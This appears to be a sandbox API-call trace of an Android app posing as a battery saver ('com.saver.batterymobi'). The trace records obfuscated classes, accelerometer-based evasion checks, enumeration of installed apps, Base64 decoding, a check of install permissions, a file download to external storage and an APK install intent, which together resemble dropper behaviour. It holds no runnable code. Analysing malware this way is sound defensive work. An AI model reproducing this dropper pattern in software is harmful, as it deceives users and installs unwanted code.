          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          API: android.app.ReceiverRestrictedContext->startService at com.saver.batterymobi.lkj.dsf.brt.onReceive:122 Show source
          NameTypeValue
          p0android.content.Intent
          • toString: Intent { cmp=com.saver.batterymobi/.lkj.jgj.jgr }
          NameTypeValue
          Return Valueandroid.content.ComponentName
          • toString: ComponentInfo{com.saver.batterymobi/com.saver.batterymobi.lkj.jgj.jgr}
          API: com.saver.batterymobi.lkj.a.c->b at com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          API: com.saver.batterymobi.lkj.a.c->b at com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          API: com.saver.batterymobi.lkj.a.c->b at com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          API: com.saver.batterymobi.lkj.a.c->b at com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          API: com.saver.batterymobi.lkj.a.c->b at com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.Application->getSystemService at com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          API: com.saver.batterymobi.lkj.a.c->b at com.saver.batterymobi.lkj.dsf.brt.onReceive:20 Show source
          NameTypeValue
          Return Valuejava.lang.Boolean
          • toString: false
          API: android.app.ReceiverRestrictedContext->getSystemService at com.saver.batterymobi.lkj.dsf.brt.a:11 Show source
          NameTypeValue
          p0java.lang.String
          • toString: activity
          NameTypeValue
          Return Valueandroid.app.ActivityManager
          • toString: android.app.ActivityManager@1ae9ee2
          API: com.saver.batterymobi.lkj.jgj.jgr->getSystemService at com.saver.batterymobi.lkj.jgj.jgr.onCreate:5 Show source
          NameTypeValue
          p0java.lang.String
          • toString: sensor
          NameTypeValue
          Return Valueandroid.hardware.SystemSensorManager
          • toString: android.hardware.SystemSensorManager@d2e745c
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onCreate:15 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1null
          • toString: null
          p2java.lang.Integer
          • toString: 3
          API: com.saver.batterymobi.lkj.jgj.jgr->getSystemService at com.saver.batterymobi.lkj.jgj.jgr.onStartCommand:3 Show source
          NameTypeValue
          p0java.lang.String
          • toString: sensor
          NameTypeValue
          Return Valueandroid.hardware.SystemSensorManager
          • toString: android.hardware.SystemSensorManager@d2e745c
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onStartCommand:13 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:6 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="3-axis Accelerometer", vendor="Kionix", version=1, type=1, maxRange=78.4532, resolution=0.009576807, power=0.25, minDelay=10000}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: android.hardware.SensorManager->registerListener at com.saver.batterymobi.lkj.jgj.jgr.onSensorChanged:12 Show source
          NameTypeValue
          p0com.saver.batterymobi.lkj.jgj.jgr
          • toString: com.saver.batterymobi.lkj.jgj.jgr@288275a9
          p1android.hardware.Sensor
          • toString: {Sensor name="null", vendor="null", version=0, type=1, maxRange=0.0, resolution=0.0, power=0.0, minDelay=0}
          p2java.lang.Integer
          • toString: 3
          API: com.android.internal.policy.impl.PhoneWindow->setContentView at com.saver.batterymobi.MainActivity.onCreate:4 Show source
          NameTypeValue
          p0android.support.v7.widget.ActionBarOverlayLayout
          • toString: android.support.v7.widget.ActionBarOverlayLayout{276f0c76 V.E..... ......I. 0,0-0,0 #7f070031 app:id/decor_content_parent}
          API: android.support.v7.widget.ActionBarOverlayLayout->findViewById at com.saver.batterymobi.MainActivity.onCreate:4 Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 16908290
          NameTypeValue
          Return Valueandroid.support.v7.widget.ContentFrameLayout
          • toString: android.support.v7.widget.ContentFrameLayout{1c932ee4 V.E..... ......I. 0,0-0,0 #7f070007 app:id/action_bar_activity_content}
          API: android.support.v7.widget.ActionBarOverlayLayout->findViewById at com.saver.batterymobi.MainActivity.onCreate:4 Show source
          NameTypeValue
          p0java.lang.Integer
          • toString: 16908290
          NameTypeValue
          Return Valueandroid.support.v7.widget.ContentFrameLayout
          • toString: android.support.v7.widget.ContentFrameLayout{1c932ee4 V.E..... ......I. 0,0-0,0 #7f070007 app:id/action_bar_activity_content}
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuenull
          • toString: null
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: min
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 27
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 1
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: min
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 27
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 1
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: btn
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 0
          API: android.app.SharedPreferencesImpl->getString at com.saver.batterymobi.MainActivity.a:20 Show source
          NameTypeValue
          p0java.lang.String
          • toString: min
          p1null
          • toString: null
          NameTypeValue
          Return Valuejava.lang.String
          • toString: 27
          API: java.lang.Object-><init> at com.saver.batterymobi.lkj.a.b.<init>:1 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.b:3 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.d:3 Show source
          API: java.lang.String->indexOf at com.saver.batterymobi.lkj.a.c.a:1 Show source
          API: java.lang.String->length at com.saver.batterymobi.lkj.a.c.a:4 Show source
          API: java.lang.String->indexOf at com.saver.batterymobi.lkj.a.c.a:8 Show source
          API: java.lang.String->substring at com.saver.batterymobi.lkj.a.c.a:11 Show source
          API: android.content.Context->getSharedPreferences at com.saver.batterymobi.lkj.a.c.b:11 Show source
          API: android.content.SharedPreferences->edit at com.saver.batterymobi.lkj.a.c.b:17 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:45 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:55 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:65 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:75 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:85 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:95 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:105 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:115 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:125 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:131 Show source
          API: android.content.Context->getPackageManager at com.saver.batterymobi.lkj.a.c.b:1 Show source
          API: android.content.pm.PackageManager->getInstalledApplications at com.saver.batterymobi.lkj.a.c.b:5 Show source
          API: java.util.List->iterator at com.saver.batterymobi.lkj.a.c.b:10 Show source
          API: java.util.Iterator->hasNext at com.saver.batterymobi.lkj.a.c.b:13 Show source
          API: java.util.Iterator->next at com.saver.batterymobi.lkj.a.c.b:17 Show source
          API: android.content.pm.PackageManager->getLaunchIntentForPackage at com.saver.batterymobi.lkj.a.c.b:23 Show source
          API: java.lang.StringBuilder-><init> at com.saver.batterymobi.lkj.a.c.b:37 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:39 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:43 Show source
          API: java.lang.StringBuilder->toString at com.saver.batterymobi.lkj.a.c.b:45 Show source
          API: com.saver.batterymobi.lkj.a.c$a-><init> at com.saver.batterymobi.lkj.a.c.a:3 Show source
          API: com.saver.batterymobi.lkj.a.c$a->execute at com.saver.batterymobi.lkj.a.c.a:7 Show source
          API: com.saver.batterymobi.lkj.a.c$a-><init> at com.saver.batterymobi.lkj.a.c.a:10 Show source
          API: com.saver.batterymobi.lkj.a.c$a->execute at com.saver.batterymobi.lkj.a.c.a:13 Show source
          API: com.saver.batterymobi.lkj.a.c$a->get at com.saver.batterymobi.lkj.a.c.a:15 Show source
          API: java.io.FileInputStream-><init> at com.saver.batterymobi.lkj.a.c.a:3 Show source
          API: java.security.MessageDigest->getInstance at com.saver.batterymobi.lkj.a.c.a:9 Show source
          API: java.io.InputStream->read at com.saver.batterymobi.lkj.a.c.a:16 Show source
          API: java.security.MessageDigest->update at com.saver.batterymobi.lkj.a.c.a:20 Show source
          API: java.security.MessageDigest->digest at com.saver.batterymobi.lkj.a.c.a:23 Show source
          API: java.io.InputStream->close at com.saver.batterymobi.lkj.a.c.a:29 Show source
          API: java.io.InputStream->close at com.saver.batterymobi.lkj.a.c.a:37 Show source
          API: java.io.InputStream->close at com.saver.batterymobi.lkj.a.c.a:42 Show source
          API: java.util.Random-><init> at com.saver.batterymobi.lkj.a.c.a:4 Show source
          API: java.lang.StringBuilder-><init> at com.saver.batterymobi.lkj.a.c.a:7 Show source
          API: java.lang.String->length at com.saver.batterymobi.lkj.a.c.a:11 Show source
          API: java.util.Random->nextInt at com.saver.batterymobi.lkj.a.c.a:14 Show source
          API: java.lang.String->charAt at com.saver.batterymobi.lkj.a.c.a:17 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.a:20 Show source
          API: java.lang.StringBuilder->toString at com.saver.batterymobi.lkj.a.c.a:24 Show source
          API: android.util.Base64->decode at com.saver.batterymobi.lkj.a.c.d:2 Show source
          API: java.lang.String-><init> at com.saver.batterymobi.lkj.a.c.d:8 Show source
          API: java.lang.String->getBytes at com.saver.batterymobi.lkj.a.c.d:14 Show source
          API: java.lang.String-><init> at com.saver.batterymobi.lkj.a.c.d:23 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.c:3 Show source
          API: android.content.Context->getPackageManager at com.saver.batterymobi.lkj.a.c.d:5 Show source
          API: android.content.pm.PackageManager->canRequestPackageInstalls at com.saver.batterymobi.lkj.a.c.d:8 Show source
          API: android.provider.Settings$Secure->getInt at com.saver.batterymobi.lkj.a.c.d:19 Show source
          API: android.provider.Settings$Global->getInt at com.saver.batterymobi.lkj.a.c.d:27 Show source
          API: java.lang.String->length at com.saver.batterymobi.lkj.a.c.b:1 Show source
          API: java.lang.String->charAt at com.saver.batterymobi.lkj.a.c.b:9 Show source
          API: java.lang.Character->digit at com.saver.batterymobi.lkj.a.c.b:13 Show source
          API: java.lang.String->charAt at com.saver.batterymobi.lkj.a.c.b:18 Show source
          API: java.lang.Character->digit at com.saver.batterymobi.lkj.a.c.b:21 Show source
          API: java.lang.StringBuffer-><init> at com.saver.batterymobi.lkj.a.c.a:5 Show source
          API: java.lang.Integer->toString at com.saver.batterymobi.lkj.a.c.a:13 Show source
          API: java.lang.String->length at com.saver.batterymobi.lkj.a.c.a:16 Show source
          API: java.lang.StringBuffer->append at com.saver.batterymobi.lkj.a.c.a:21 Show source
          API: java.lang.StringBuffer->append at com.saver.batterymobi.lkj.a.c.a:23 Show source
          API: java.lang.StringBuffer->toString at com.saver.batterymobi.lkj.a.c.a:27 Show source
          API: java.lang.StringBuilder-><init> at com.saver.batterymobi.lkj.a.c.b:2 Show source
          API: android.os.Environment->getExternalStorageDirectory at com.saver.batterymobi.lkj.a.c.b:4 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:7 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:11 Show source
          API: java.lang.StringBuilder->toString at com.saver.batterymobi.lkj.a.c.b:13 Show source
          API: java.io.File-><init> at com.saver.batterymobi.lkj.a.c.b:17 Show source
          API: java.io.File->exists at com.saver.batterymobi.lkj.a.c.b:19 Show source
          API: java.io.File->mkdirs at com.saver.batterymobi.lkj.a.c.b:23 Show source
          API: java.net.URL-><init> at com.saver.batterymobi.lkj.a.c.b:26 Show source
          API: java.net.URL->openConnection at com.saver.batterymobi.lkj.a.c.b:28 Show source
          API: java.net.HttpURLConnection->getInputStream at com.saver.batterymobi.lkj.a.c.b:33 Show source
          API: java.io.BufferedInputStream-><init> at com.saver.batterymobi.lkj.a.c.b:37 Show source
          API: java.lang.StringBuilder-><init> at com.saver.batterymobi.lkj.a.c.b:41 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:43 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:47 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:49 Show source
          API: java.lang.StringBuilder->toString at com.saver.batterymobi.lkj.a.c.b:51 Show source
          API: java.io.FileOutputStream-><init> at com.saver.batterymobi.lkj.a.c.b:54 Show source
          API: java.lang.Integer->valueOf at com.saver.batterymobi.lkj.a.c.b:59 Show source
          API: java.io.InputStream->read at com.saver.batterymobi.lkj.a.c.b:61 Show source
          API: java.lang.Integer->valueOf at com.saver.batterymobi.lkj.a.c.b:64 Show source
          API: java.lang.Integer->intValue at com.saver.batterymobi.lkj.a.c.b:67 Show source
          API: java.lang.Integer->intValue at com.saver.batterymobi.lkj.a.c.b:72 Show source
          API: java.io.FileOutputStream->write at com.saver.batterymobi.lkj.a.c.b:75 Show source
          API: java.io.FileOutputStream->flush at com.saver.batterymobi.lkj.a.c.b:78 Show source
          API: java.io.FileOutputStream->close at com.saver.batterymobi.lkj.a.c.b:80 Show source
          API: java.io.InputStream->close at com.saver.batterymobi.lkj.a.c.b:82 Show source
          API: java.io.IOException->printStackTrace at com.saver.batterymobi.lkj.a.c.b:86 Show source
          API: java.lang.StringBuilder-><init> at com.saver.batterymobi.lkj.a.c.b:89 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:91 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:95 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:97 Show source
          API: java.lang.StringBuilder->toString at com.saver.batterymobi.lkj.a.c.b:99 Show source
          API: java.io.File-><init> at com.saver.batterymobi.lkj.a.c.c:8 Show source
          API: android.support.v4.content.FileProvider->a at com.saver.batterymobi.lkj.a.c.c:10 Show source
          API: android.content.Intent-><init> at com.saver.batterymobi.lkj.a.c.c:16 Show source
          API: android.content.Intent->setDataAndType at com.saver.batterymobi.lkj.a.c.c:20 Show source
          API: android.content.Intent->setFlags at com.saver.batterymobi.lkj.a.c.c:22 Show source
          API: android.content.Intent->addFlags at com.saver.batterymobi.lkj.a.c.c:25 Show source
          API: android.content.Context->startActivity at com.saver.batterymobi.lkj.a.c.c:27 Show source
          API: android.content.Intent-><init> at com.saver.batterymobi.lkj.a.c.c:33 Show source
          API: java.io.File-><init> at com.saver.batterymobi.lkj.a.c.c:36 Show source
          API: android.net.Uri->fromFile at com.saver.batterymobi.lkj.a.c.c:38 Show source
          API: android.content.Intent->setDataAndType at com.saver.batterymobi.lkj.a.c.c:43 Show source
          API: android.content.Intent->setFlags at com.saver.batterymobi.lkj.a.c.c:45 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.a:3 Show source
          API: java.lang.StringBuilder-><init> at com.saver.batterymobi.lkj.a.c.a:14 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.a:16 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.a:20 Show source
          API: java.lang.StringBuilder->toString at com.saver.batterymobi.lkj.a.c.a:22 Show source
          API: android.content.Context->getSystemService at com.saver.batterymobi.lkj.a.c.e:6 Show source
          API: android.content.Context->getPackageName at com.saver.batterymobi.lkj.a.c.e:10 Show source
          API: android.os.PowerManager->isIgnoringBatteryOptimizations at com.saver.batterymobi.lkj.a.c.e:13 Show source
          API: java.lang.String->startsWith at com.saver.batterymobi.lkj.a.c.c:5 Show source
          API: java.lang.String->startsWith at com.saver.batterymobi.lkj.a.c.c:13 Show source
          API: java.lang.String->contains at com.saver.batterymobi.lkj.a.c.c:21 Show source
          API: java.lang.String->contains at com.saver.batterymobi.lkj.a.c.c:29 Show source
          API: java.lang.String->contains at com.saver.batterymobi.lkj.a.c.c:37 Show source
          API: java.lang.String->contains at com.saver.batterymobi.lkj.a.c.c:45 Show source
          API: java.lang.String->startsWith at com.saver.batterymobi.lkj.a.c.c:53 Show source
          API: java.lang.String->startsWith at com.saver.batterymobi.lkj.a.c.c:61 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.c:69 Show source
          API: java.lang.StringBuilder-><init> at com.saver.batterymobi.lkj.a.c.b:7 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:9 Show source
          API: java.lang.Integer->toString at com.saver.batterymobi.lkj.a.c.b:15 Show source
          API: java.lang.String->substring at com.saver.batterymobi.lkj.a.c.b:19 Show source
          API: java.lang.StringBuilder->append at com.saver.batterymobi.lkj.a.c.b:22 Show source
          API: java.lang.StringBuilder->toString at com.saver.batterymobi.lkj.a.c.b:24 Show source
          API: java.lang.String->toUpperCase at com.saver.batterymobi.lkj.a.c.b:29 Show source
          API: java.lang.Object->getClass at com.saver.batterymobi.lkj.a.c.g:3 Show source
          API: java.lang.String->getBytes at com.saver.batterymobi.lkj.a.c.c:2 Show source
          API: java.lang.String->getBytes at com.saver.batterymobi.lkj.a.c.c:7 Show source
          API: java.lang.String->getBytes at com.saver.batterymobi.lkj.a.c.c:16 Show source
          API: android.util.Base64->encodeToString at com.saver.batterymobi.lkj.a.c.c:20 Show source
          API: android.content.Context->getPackageManager at com.saver.batterymobi.lkj.a.c.d:1 Show source
          API: android.content.pm.PackageManager->getLaunchIntentForPackage at com.saver.batterymobi.lkj.a.c.d:4 Show source
          API: android.content.Context->startActivity at com.saver.batterymobi.lkj.a.c.d:7 Show source
          API: java.lang.Object-><init> at com.saver.batterymobi.lkj.a.c.<init>:1 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:5 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:15 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:23 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:31 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:43 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:51 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:60 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:68 Show source
          API: java.lang.String->equals at com.saver.batterymobi.lkj.a.c.d:77 Show source
